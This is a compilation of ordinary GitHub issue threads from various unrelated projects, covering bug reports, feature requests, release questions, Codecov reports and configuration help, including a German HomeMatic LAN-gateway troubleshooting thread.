To help us, please fork this component, modify one example in examples folder to reproduce your issue and include link here.
render() {
const swiperItems = this.props.dataSource.map(item => {
return (
<Image
source={{uri:constants.SDD_PIC_URL + (this.props.isGoodsDetail ? item : item.pic_id)}}
style={{width: width, height: 100}}
key={item.position}
/>
)
});
return (

{swiperItems}
        </Swiper>
    );
}

Steps to reproduce
in iOS：
if dataSource length is  6, the swiper works 4th、5th、6th images is no problem, but the 1st 2ed 3rd image not appear.
in Android is not problem.

confirm the uri does not contains Chinese。 确认图片uri不包含中文，因为ios无法正常请求中文静态资源

repo: leecade/react-native-swiper


text:
hello!

whats up

hola

authors: mvidalgarcia thiphuonganh

repo: leerob/on-demand-isr


text:
odi test

123

i

authors: swandevv vyshnavsdeepak


text:
Current alight Release for bower

Could you please release a new version for bower?
Last revision is 0.12.8.
Also it would be great that each new released version would be available automatically.

We have no release yet. I will make bower build as soon as we have stable API - events, ":" vs "." etc
If I make a release now, then next release will break compatibility.


text:
feat: install.js support --silent option

Run node node_modules/git-commit-msg-linter/install.js will print some logs what I don't need. Support node node_modules/git-commit-msg-linter/install.js --silent to keep quiet.

I have a private tool will run node node_modules/git-commit-msg-linter/install.js manually at the postinstall stage. I don't want to see the logs of [git-commit-msg-linter].
It will be useful for the tools which want to integrate with commit-msg-linter.

silent flag added in git-commit-msg-linter@4.6.0.

If it works please let me know 😄.

Thank you @legend80s . I made a PR to support this feature better. Please consider #28.


text:
Escape hyphens to ease conversion to Ruby?

I'm getting regex compile warnings on regexes like
mail.[a-zA-Z0-9-.]+.pl\\/o\\/
email.[a-zA-Z0-9-.]+\\/o\\/[a-zA-Z0-9-_.]{64}

Ruby issues a warning when it compiles these:
warning: character class has '-' without escape:...

If I change the original regexes to
mail.[a-zA-Z0-9\\-.]+.pl\\/o\\/
email.[a-zA-Z0-9\\-.]+\\/o\\/[a-zA-Z0-9\\-_.]{64}

to escape the 'naked' dash, the regexes compile just fine.  I'm pretty sure this is an artifact of JS that makes this legal but I just don't know for sure...
My question is: Are the second versions legal JS regexes?
My followup question is: Does this change alter the meanings of the original regexes?
My 2nd followup question would be:  Which of the two versions are 'more correct™' ?
I'm not trying to start a JS vs Ruby flamewar here...just trying to make the awk script as robust as I can. I'm not a JS guy...  So many languages...so little time...

I'll test and let you know.

It seems to be fine. It isn't technically valid as hyphens do not need to be escaped. So I think I could add it.
Another option, first do a replace for a-zA-Z0-9- → a-zA-Z0-9\\- as this will catch all the instances of a hyphen that you would need to escape for the conversion.

The particular statements are:
sub(/-_.]/, "\\\\-_.]")    # substitute the string '-_.]' with the string '\\-_.]'
sub(/-.]/, "\\\\-.]")        # substitute the string '-.]' with the string '\\-.]'

If you could change your regexes, that would be great...I could get rid of this bit of ugliness.
I've also written a ruby program that uses the hash created by the awk script...like what I asked for here.  It's a simple filter but demonstrates the technique.  It only uses a few common gems.  It should be understandable by anyone adept at handling mail in ruby.
It detects/removes the tracker <img> tags and adds an X-Trackers-Blocked header to the message.  The content of the X-Trackers-Blocked is a JSON-formatted array of the names of the blocked trackers.  It also blocks <img> tags with height="1" width="1" and calls those unknown.  I'll add all of this as a demonstration after I do some cleanup and add some comments.  As always, use at your own risk and no support expressed or implied.
It's based on something I already had (which is much more sophisticated) so I didn't have to re-invent the wheel...

If you have a fix for escaping the hyphens, I'd rather not escape them in JS since they don't need to be escaped there.
Your sub misses a case though:
"Mailcastr.com": "mailcastr.com\\/image\\/[a-zA-Z0-9-_]{64}",
So I think you'd be better off with:
sub(/a-zA-Z0-9-/, "a-zA-Z0-9\\\\-")  # substitute the string 'a-zA-Z0-9-' with the string 'a-zA-Z0-9\\-'
I will try to keep the hyphen always after the 0-9 in these patterns.
Nice job removing 1x1 images. I would also remove 0x0 images as those happen sometimes too.

authors: caponecicero leggett

repo: leggett/simplify-trackers


text:
官网顶部的导航栏里的链接，target都是_bank，好像没有这种写法吧

真的不应该是_blank么:-D

@maoqxxmm 估计是开发君的手误，谢谢指正哈，已修复了。
客户端使用方面如有什么问题，也可以反馈到 issue 我们会第一时间反馈哈。

authors: lilijialiang maoqxxmm

repo: legoflow/legoflow


text:
Documentation Corrections

It appears the Twilio Function, Flex Dialpad Create New Task, requires "Check for valid Twilio signature" be unchecked" or the call will fail - net::ERR_ABORTED 403.

Axios must be included as a Dependency for your Twilio Functions https://www.twilio.com/console/runtime/functions/configure

These updates are now included in the README.

authors: lehel-twilio microagent

repo: lehel-twilio/plugin-dialpad


text:
🛑 Assets is down

In 9f21bc6, Assets (http://splashlock-assets.splashshield.ai/) was down:

HTTP code: 403
Response time: 268 ms

Resolved: Assets is back up in 559ba7f.

repo: lei-splashtop/sep-uptime


text:
Implement error handling when token fetching fails for those relying on tokens

Is your feature request related to a problem? Please describe.
Implement error handling when token fetching fails for those relying on tokens.
Describe the solution you'd like
Perhaps a fallback boolean should be set if tokens are failing to load and therefore the alarm/timers can't be retrieved
Additional context
See this and glocaltokens issue 3.

This should be taken care of in https://github.com/leikoilja/glocaltokens/issues/3.

repo: leikoilja/ha-glocaltokens


text:
Component not starting after latest HA update  2022.3.0.dev20220214

Describe the bug
The component does not start following the latest Home Assistant 2022.3.0.dev20220214
Version of the integration

1.9.7

Logs

Logger: homeassistant.util.package
Source: util/package.py:99
First occurred: 3:45:21 PM (6 occurrences)
Last logged: 3:46:18 PM

Unable to install package onvif-zeep-async==1.0.0: warning: missing-index-doctype × The package index page being used does not have a proper HTML doctype declaration. ╰─> Problematic URL: https://wheels.home-assistant.io/alpine-3.14/armv7/ note: This is an issue with the page at the URL mentioned above. hint: You might need to reach out to the owner of that package index, to get this fixed. See https://github.com/pypa/pip/issues/10825 for context. ERROR: Cannot install onvif-zeep-async==1.0.0 because these package versions have conflicting dependencies. ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts
Unable to install package glocaltokens==0.6.2: warning: missing-index-doctype × The package index page being used does not have a proper HTML doctype declaration. ╰─> Problematic URL: https://wheels.home-assistant.io/alpine-3.14/armv7/ note: This is an issue with the page at the URL mentioned above. hint: You might need to reach out to the owner of that package index, to get this fixed. See https://github.com/pypa/pip/issues/10825 for context. ERROR: Cannot install glocaltokens==0.6.2 because these package versions have conflicting dependencies. ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts

Thanks for the bug report. We don't support dev versions of Home Assistant and this is not a problem with our package, but the package index (ie. wheels.home-assistant.io)

It seems there might be some incompatible version of glocaltokens dependency. But we need more info about that.

I will switch on the stable on then, I use the docker env

authors: DurgNomis-drol KapJI gfarcas

repo: leikoilja/ha-google-home


text:
Feature refactor controller

closes #48

Codecov Report
Base: 74.49% // Head: 72.50% // Decreases project coverage by -1.99% :warning:

Coverage data is based on head (e53b2f7) compared to base (742b781).
Patch coverage: 8.92% of modified lines in pull request are covered.

Additional details and impacted files
@@            Coverage Diff             @@
##           master      #58      +/-   ##
==========================================
- Coverage   74.49%   72.50%   -2.00%
==========================================
  Files          11       12       +1
  Lines         549      560      +11
==========================================
- Hits          409      406       -3
- Misses        140      154      +14

Flag
Coverage Δ

unittests
72.50% <8.92%> (-2.00%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

src/controller.py
0.00% <0.00%> (ø)

src/main.py
0.00% <0.00%> (ø)

src/recommender.py
88.09% <100.00%> (-0.80%)
:arrow_down:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.

authors: codecov-commenter lejinvarghese


text:
chore(ci): Remove caching from CI

Caching of the venv is causing random failures, so I have removed caching during CI.

Codecov Report

Merging #20 (776077b) into main (4b5aed0) will not change coverage.
The diff coverage is n/a.

:exclamation: Current head 776077b differs from pull request most recent head 31c3d26. Consider uploading reports for the commit 31c3d26 to get more accurate results

@@            Coverage Diff            @@
##              main       #20   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            3         3
  Lines           92        92
=========================================
  Hits            92        92

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

authors: codecov-commenter mattkram

repo: lembas-project/lembas-core


text:
Minor update to "Scope" section

Some minor edits to sentences that felt choppy/awkward while reading.

Combined two sentences in the first paragraph.
Made one sentence less verbose.
Added commas to make the sentence read better.
Hope this helps!

Thanks.

authors: lemire saritchie

repo: lemire/simdjson


text:
net: socket_ncs: add SO_WAIT_NW_ACK_TIMEOUT socket option

Add SO_WAIT_NW_ACK_TIMEOUT socket option.

Did we forget about this one?

Did we forget about this one?

No, this was for having the modem send timeout as a new socket option, though we added it to the send timeout instead.

authors: eivindj-nordic lemrey

repo: lemrey/sdk-zephyr


text:
how to undo move ?

how to undo move ? can you help me?

See .undo()


text:
Lens app crashed when displaying details for ingress rule

Describe the bug
App is crashing when I try to get the details of ingresses rule.
To Reproduce
Steps to reproduce the behavior:

Go to 'Network'
Select 'Ingresses'
Click on any rule
See error

Expected behavior
Details of the ingresses should be displayed
Screenshots

Environment (please complete the following information):

Lens Version: 3.62 (present since 3.6.0)
OS: OSX
Installation method (e.g. snap or AppImage in Linux): dmg

Logs:
When you run the application executable from command line you will see some logging output. Please paste them here:
TypeError: Cannot read property 'length' of undefined
    at r.value (http://a7066035-d724-49b9-b36f-7c15670c7b24.localhost:55395/build/Lens.js:2:8204700)
    at r.value (http://a7066035-d724-49b9-b36f-7c15670c7b24.localhost:55395/build/Lens.js:2:8206620)
    at ve (http://a7066035-d724-49b9-b36f-7c15670c7b24.localhost:55395/build/Lens.js:2:33319)
    at http://a7066035-d724-49b9-b36f-7c15670c7b24.localhost:55395/build/Lens.js:2:13199
    at ce (http://a7066035-d724-49b9-b36f-7c15670c7b24.localhost:55395/build/Lens.js:2:31425)
    at e.track (http://a7066035-d724-49b9-b36f-7c15670c7b24.localhost:55395/build/Lens.js:2:42789)
    at r.l [as render] (http://a7066035-d724-49b9-b36f-7c15670c7b24.localhost:55395/build/Lens.js:2:13147)
    at r.X (http://a7066035-d724-49b9-b36f-7c15670c7b24.localhost:55395/build/Lens.js:2:13294)
    at r.t.render (http://a7066035-d724-49b9-b36f-7c15670c7b24.localhost:55395/build/Lens.js:2:12570)
    at xo (http://a7066035-d724-49b9-b36f-7c15670c7b24.localhost:55395/build/Lens.js:2:4287638)

Fix in 3.6.3.

repo: lensapp/lens


text:
Allow register actions to "add to catalog" button

Fixes #2488

Of course this broke integration tests... will fix asap.

Integration tests should now pass 🤞

Integration tests should now pass 🤞

They did not 😿

Integration tests should now pass 🤞

They did not 😿

Integration tests should now pass 🤞 🤞

authors: jakolehm nevalla


text:
Complementary shaders/Euphoria patches

please add euphoria patches for complementary shaders, since once you use those all the visual glitches imagineable appear.
would be so amazing for those really enjoying those extra features of shaders together with create

Developer of Euphoria Patches here o/
I hope that some support could be added somehow as many users have reported things to us while we can't do much about it. Current known options that break are: generated normals, winter (will be fixed in the next update), and sand and moss noise overlay (will also be fixed in the next update). From what I can see it seems that options that utilize atlasSize break compatibility. So I just removed that from the winter, sand, and moss settings for the next update.
As Complementary Support already exists I hope that adding it to Complementary with our Add-On won't be too difficult.
If any help is needed, I am here to assist.

repo: leon-o/iris-flw-compat


text:
RELEASE-1.2.0

Description:
Fixes and polish for RELEASE-1.2.0
@sr093906 @Ismael034 @mezysinc An additional translation is needed.
If you sumbmit a pr, please merge in the branch release/1.2.0.

Release is planned for tomorrow.

Release is planned for tomorrow.

I will now create the new release.

I will now create the new release.

repo: leonlatsch/Photok


text:
RF-LAN-Gateway zeigt keinen Status

Ich habe bereits ähnliche Issues wie diesen gesehen, aber die haben mein Problem nicht gelöst. Daher poste ich meins auch:
Umgebung odroid XU3
Ubuntu 16.04
Yahm aktuell (yahm-ctl update heute ausgeführt, v1.5)
CCU2 in YAHM v. 2.21.10
Ich versuche, ein HM-LGW-O-TW-W-EU HM-Lan-Gateway anzuschließen. Sonstige HM-Komponenten sind von einer CCU1 per Backup übernommen worden. Ein System-Sicherheitsschlüssel ist gesetzt.
Wenn ich das LAN-Gateway (LGW) anlege mit Seriennummer MEQ... und dem PW vom Etikett (welches offenbar ärgerlicherweise Sicherheitsschlüssel in der Konfiguration heißt und nichts mit dem System-Sicherheitschlüssel zu tun hat, oder?) erscheint kurz der Status "inaktiv".
Wenn ich dann auf Übernehmen drücke (oder erst einer Komponente dieses Modul zuweise und dann übernehme) wird das Feld Status wieder leer.
Zentralen-Neustart über Systemsteuerung->Zentrale-Wartung ... Status-Feld in der LGW-Konfig bleibt leer
Ich kann den Komponenten das Modul zuweisen, aber sobald ich woanders hin klicke und dann wieder zurück in die Einstellungsseite ist die Zuordnung aufgehoben. Auch wenn ich zwischendurch auf Übernehmen klicke.
Die Netzwerk-LED des LGW blinkt langsam grün (keine Anbindung an CCU)
LGW-IP ist aus dem YAHM-Container heraus anpingbar.
InterfacesList Inhalt:
<?xml version="1.0" encoding="utf-8"?>
<interfaces v="1.0">
  <ipc>
    <name>BidCos-RF</name>
    <url>xmlrpc_bin://127.0.0.1:2001</url>
    <info>BidCos-RF</info>
  </ipc>
  <ipc>
    <name>VirtualDevices</name>
    <url>xmlrpc://127.0.0.1:9292/groups</url>
    <info>Virtual Devices</info>
  </ipc>
</interfaces>

Wenn ich unter BidCos-RF die IP 10.0.1.27 (Da ist kein Zahlendreher, 10...27 ist richtig, und nicht die localhost oder so) einsetze, kommt das UI nicht mehr zurück, wenn ich eine Zuordnung zum LGW konfiguriere...
Irgendwelche Tipps?
Achja, was ich so an Fehlern in logs gefunden habe (beide wiederholt):
messages:
Nov  7 21:31:30 homematic-ccu2 local0.err ReGaHss: Error: IseESP::ExecError= Execution failed: [-1] 0 0x00 [0] 144 0x90 [1] 0 0x00 [2] 97 0x61 [3] 0 0x00 [4] 99                                                                              0x63  [../Platform/DOM/iseESPexec.cpp (11622)]
hmserver.log:
Nov 7 21:32:54 de.eq3.cbcs.vertx.management.VertxManager WARN  [vert.x-eventloop-thread-0] SYSTEM ADVICE: long-lasting deployment, check deployment configuration - currently deployed 15 out of 17
Nov 7 21:32:54 de.eq3.cbcs.vertx.management.VertxManager WARN  [vert.x-eventloop-thread-6] SYSTEM ADVICE: pre-conditions for deployment of LocalServerFirmwareUpdateInitialization still not met - check deployment configuration  (still unfulfilled: [connector.open])
Nov 7 21:32:54 de.eq3.cbcs.vertx.management.VertxManager WARN  [vert.x-eventloop-thread-9] SYSTEM ADVICE: pre-conditions for deployment of LegacyInitializion still not met - check deployment configuration  (still unfulfilled: [connector.open])
Nov 7 21:32:59 de.eq3.ccu.bidcos.dispatcher.BidCosRpcDispatcher ERROR [Timer-1] Could not register BidCos-RF_java
Nov 7 21:33:01 de.eq3.cbcs.vertx.management.VertxManager WARN  [vert.x-eventloop-thread-6] SYSTEM ADVICE: pre-conditions for deployment of LocalServerFirmwareUpdateInitialization still not met - check deployment configuration  (still unfulfilled: [connector.open])
Nov 7 21:33:01 de.eq3.cbcs.vertx.management.VertxManager WARN  [vert.x-eventloop-thread-9] SYSTEM ADVICE: pre-conditions for deployment of LegacyInitializion still not met - check deployment configuration  (still unfulfilled: [connector.open])
N

Das GW muss in der /usr/local/etc/config/rfd.conf eingetragen sein

[Interface 1]
Type = HMLGW2
Name = LAN Gateway
Serial Number = SERIENNUMMER
Encryption Key = AUTHKEY
IP Address = IPDESGATES

Das sollte eigentlich das WegGUI machen ....

Das GW ist dort auch eingetragen. Ohne Namen und ohne IP, weil ich die nicht angegeben habe (steht ja optional an den Feldern. Auch mit Angabe der IP funktioniert es aber nicht).

LÖSUNG - d'oh! Das PW des LAN-Adapters hat ein vorangestelltest GLeichheitszeichen "=", welches ich (und mindestens auch dieser Kunde hier: http://www.elv.de/topic/funk-lan-gateway-falsches-passwort.html, und meine Frau beim Test auch) nicht als zum Passwort zugehörig erkannt habe.
Alles ok jetzt, bitte Schließen!

authors: DocZoid thkl

repo: leonsio/YAHM